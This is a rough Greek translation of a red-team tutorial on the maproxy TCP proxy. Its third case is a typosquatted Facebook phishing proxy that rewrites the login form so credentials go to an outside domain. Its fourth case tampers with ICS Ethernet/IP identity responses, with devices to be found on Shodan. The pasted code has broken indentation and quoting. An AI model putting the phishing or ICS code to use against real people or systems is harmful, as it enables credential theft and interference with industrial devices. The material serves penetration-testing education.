Επεξεργαστείτε δεδομένα δικτύου εν κινήσει

Η μετάφραση του άρθρου ετοιμάστηκε την παραμονή της έναρξης του μαθήματος «Πέντεστ. Πρακτική δοκιμών διείσδυσης".

Επεξεργαστείτε δεδομένα δικτύου εν κινήσει

Αφηρημένο

Διάφοροι τύποι αξιολογήσεων ασφαλείας, που κυμαίνονται από τακτικές δοκιμές διείσδυσης και λειτουργίες Red Team έως χακάρισμα συσκευών IoT/ICS και SCADA, περιλαμβάνουν εργασία με πρωτόκολλα δυαδικού δικτύου, δηλαδή ουσιαστικά υποκλοπή και τροποποίηση δεδομένων δικτύου μεταξύ του πελάτη και του στόχου. Η ανίχνευση κίνησης δικτύου δεν είναι δύσκολη υπόθεση, καθώς έχουμε εργαλεία όπως το Wireshark, το Tcpdump ή το Scapy, αλλά η τροποποίηση φαίνεται να είναι πιο απαιτητική εργασία, καθώς θα χρειαστεί να έχουμε κάποιο είδος διεπαφής για να διαβάζουμε τα δεδομένα δικτύου, να τα φιλτράρουμε, να τα αλλάξουμε το on the fly και στείλτε το πίσω στον κεντρικό υπολογιστή-στόχο σε σχεδόν πραγματικό χρόνο. Επιπλέον, θα ήταν ιδανικό εάν ένα τέτοιο εργαλείο μπορούσε να λειτουργεί αυτόματα με πολλαπλές παράλληλες συνδέσεις και να μπορεί να προσαρμόζεται χρησιμοποιώντας σενάρια.

Μια μέρα ανακάλυψα ένα εργαλείο που ονομάζεται maproxy, η τεκμηρίωση μου κατέστησε γρήγορα σαφές ότι maproxy – ακριβώς αυτό που χρειάζομαι. Πρόκειται για έναν αρκετά απλό, ευέλικτο και εύκολα ρυθμιζόμενο διακομιστή μεσολάβησης TCP. Δοκίμασα αυτό το εργαλείο σε πολλές αρκετά περίπλοκες εφαρμογές, συμπεριλαμβανομένων συσκευών ICS (που δημιουργούν πολλά πακέτα) για να δω αν μπορούσε να χειριστεί πολλές παράλληλες συνδέσεις και το εργαλείο είχε καλή απόδοση.

Αυτό το άρθρο θα σας παρουσιάσει την επεξεργασία δεδομένων δικτύου εν κινήσει χρησιμοποιώντας maproxy.

Αναθεώρηση

Εργαλείο maproxy βασίζεται στο Tornado, ένα δημοφιλές και ώριμο πλαίσιο ασύγχρονης δικτύωσης στην Python.

Γενικά, μπορεί να λειτουργήσει σε διάφορους τρόπους:

  • TCP:TCP – μη κρυπτογραφημένες συνδέσεις TCP.
  • TCP:SSL и SSL:TCP – με μονόδρομη κρυπτογράφηση.
  • SSL:SSL – αμφίδρομη κρυπτογράφηση.

Έρχεται ως βιβλιοθήκη. Για γρήγορη εκκίνηση, μπορείτε να χρησιμοποιήσετε παραδείγματα αρχείων που αντικατοπτρίζουν το κύριο λειτουργίες βιβλιοθήκης:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Περίπτωση 1 – απλός αμφίδρομος διακομιστής

Βασισμένο στο tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Από προεπιλογή ProxyServer() παίρνει δύο ορίσματα – τη θέση σύνδεσης και τη θύρα προορισμού. server.listen() παίρνει ένα όρισμα - τη θύρα για την ακρόαση της εισερχόμενης σύνδεσης.

Εκτέλεση του σεναρίου:

# python tcp2tcp.py

Για να εκτελέσουμε τη δοκιμή, θα συνδεθούμε σε έναν τοπικό διακομιστή SSH μέσω του σεναρίου διακομιστή μεσολάβησης, το οποίο ακούει 2222/tcp θύρα και συνδέεται σε μια τυπική θύρα 22/tcp Διακομιστές SSH:

Επεξεργαστείτε δεδομένα δικτύου εν κινήσει

Το banner καλωσορίσματος σάς ενημερώνει ότι το παράδειγμά μας δέσμης ενεργειών έχει μεσολαβήσει επιτυχώς την κυκλοφορία δικτύου.

Περίπτωση 2 – τροποποίηση δεδομένων

Άλλο ένα σενάριο επίδειξης logging_proxy.py ιδανικό για αλληλεπίδραση με δεδομένα δικτύου. Τα σχόλια στο αρχείο περιγράφουν τις μεθόδους κλάσης που μπορείτε να τροποποιήσετε για να πετύχετε τον στόχο σας:

Επεξεργαστείτε δεδομένα δικτύου εν κινήσει

Το πιο ενδιαφέρον είναι εδώ:

  • on_c2p_done_read – να υποκλέψει δεδομένα κατά τη διαδρομή από τον πελάτη στον διακομιστή.
  • on_p2s_done_read - ανάποδα.

Ας προσπαθήσουμε να αλλάξουμε το banner SSH που επιστρέφει ο διακομιστής στον πελάτη:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Εκτελέστε το σενάριο:

Επεξεργαστείτε δεδομένα δικτύου εν κινήσει

Όπως μπορείτε να δείτε, ο πελάτης παραπλανήθηκε επειδή το όνομα διακομιστή SSH για αυτόν άλλαξε σε «DumnySSH».

Επεξεργαστείτε δεδομένα δικτύου εν κινήσει

Περίπτωση 3 – απλή ιστοσελίδα phishing

Υπάρχουν άπειροι τρόποι να χρησιμοποιήσετε αυτό το εργαλείο. Αυτή τη φορά ας επικεντρωθούμε σε κάτι πιο πρακτικό από την πλευρά των επιχειρήσεων της Red Team. Ας μιμηθούμε τη σελίδα προορισμού m.facebook.com και χρησιμοποιήστε έναν προσαρμοσμένο τομέα με εσκεμμένο τυπογραφικό λάθος, για παράδειγμα, m.facebok.com. Για λόγους επίδειξης, ας υποθέσουμε ότι ο τομέας είναι κατοχυρωμένος από εμάς.

Θα δημιουργήσουμε μια μη κρυπτογραφημένη σύνδεση δικτύου με τον διακομιστή μεσολάβησης θυμάτων και το SSL Stream στον διακομιστή Facebook (31.13.81.36). Για να λειτουργήσει αυτό το παράδειγμα, πρέπει να αντικαταστήσουμε την κεφαλίδα του κεντρικού υπολογιστή HTTP και να εισάγουμε το σωστό όνομα κεντρικού υπολογιστή και θα απενεργοποιήσουμε επίσης τη συμπίεση απόκρισης, ώστε να έχουμε εύκολη πρόσβαση στα περιεχόμενα. Τελικά θα αντικαταστήσουμε τη φόρμα HTML έτσι ώστε τα διαπιστευτήρια σύνδεσης να αποστέλλονται σε εμάς αντί για τους διακομιστές του Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/el/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Εν περιλήψει:

Επεξεργαστείτε δεδομένα δικτύου εν κινήσει

Όπως μπορείτε να δείτε, καταφέραμε να αντικαταστήσουμε με επιτυχία τον αρχικό ιστότοπο.

Περίπτωση 4 – Μεταφορά Ethernet/IP

Ασχολούμαι με βιομηχανικές συσκευές και λογισμικό (ICS/SCADA) εδώ και αρκετό καιρό, όπως προγραμματιζόμενους ελεγκτές (PLC), μονάδες I/O, μονάδες δίσκου, ρελέ, περιβάλλοντα προγραμματισμού ladder και πολλά άλλα. Αυτή η θήκη είναι για όσους αγαπούν τα βιομηχανικά πράγματα. Η παραβίαση τέτοιων λύσεων περιλαμβάνει ενεργό παιχνίδι με πρωτόκολλα δικτύου. Στο παρακάτω παράδειγμα, θα ήθελα να δείξω πώς μπορείτε να τροποποιήσετε την κυκλοφορία δικτύου ICS/SCADA.

Για να το κάνετε αυτό, χρειάζεστε τα εξής:

  • Δικτυακός ανιχνευτής, για παράδειγμα, Wireshark.
  • Ethernet/IP ή απλώς μια συσκευή SIP, μπορείτε να το βρείτε χρησιμοποιώντας την υπηρεσία Shodan.
  • Το σενάριό μας βασίζεται σε maproxy.

Αρχικά, ας δούμε πώς μοιάζει μια τυπική απόκριση αναγνώρισης από το CIP (Common Industrial Protocol):

Επεξεργαστείτε δεδομένα δικτύου εν κινήσει

Η αναγνώριση της συσκευής πραγματοποιείται χρησιμοποιώντας το πρωτόκολλο Ethernet/IP, το οποίο είναι μια βελτιωμένη έκδοση του βιομηχανικού πρωτοκόλλου Ethernet που αναδιπλώνει πρωτόκολλα ελέγχου όπως το CIP. Θα αλλάξουμε το επισημασμένο όνομα αναγνωριστικού που είναι ορατό στο στιγμιότυπο οθόνης "NI-IndComm για Ethernet" χρησιμοποιώντας το σενάριο διακομιστή μεσολάβησης. Θα μπορούσαμε να χρησιμοποιήσουμε ξανά το σενάριο logging_proxy.py και παρομοίως τροποποιήστε τη μέθοδο κλάσης on_p2s_done_read, επειδή θέλουμε ένα διαφορετικό όνομα ταυτότητας να είναι ορατό στον πελάτη.

Κωδικός:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Ουσιαστικά, ζητήσαμε δύο φορές την αναγνώριση της συσκευής, η δεύτερη απάντηση ήταν η αρχική και η πρώτη τροποποιήθηκε εν κινήσει.

Και το τελευταίο

Κατά τη γνώμη μου maproxy Ένα βολικό και απλό εργαλείο, το οποίο είναι επίσης γραμμένο σε Python, οπότε πιστεύω ότι και εσείς μπορείτε να επωφεληθείτε από τη χρήση του. Φυσικά, υπάρχουν πιο πολύπλοκα εργαλεία επεξεργασίας και τροποποίησης δεδομένων δικτύου, αλλά απαιτούν και μεγαλύτερη προσοχή και συνήθως δημιουργούνται για μια συγκεκριμένη περίπτωση χρήσης, π.χ. Μουραένα, Μοντλίσκα ή evilginx για περιπτώσεις παρόμοιες με την τρίτη, ή καναπές για την τελευταία περίπτωση. Με τον ένα ή τον άλλο τρόπο, με τη βοήθεια maproxy μπορείτε να εφαρμόσετε γρήγορα τις ιδέες σας για την υποκλοπή δεδομένων δικτύου, καθώς τα παραδείγματα σεναρίων είναι πολύ ξεκάθαρα.

Δοκιμή μηχανισμών ελέγχου ταυτότητας στα Windows AD

Πηγή: www.habr.com

Προσθέστε ένα σχόλιο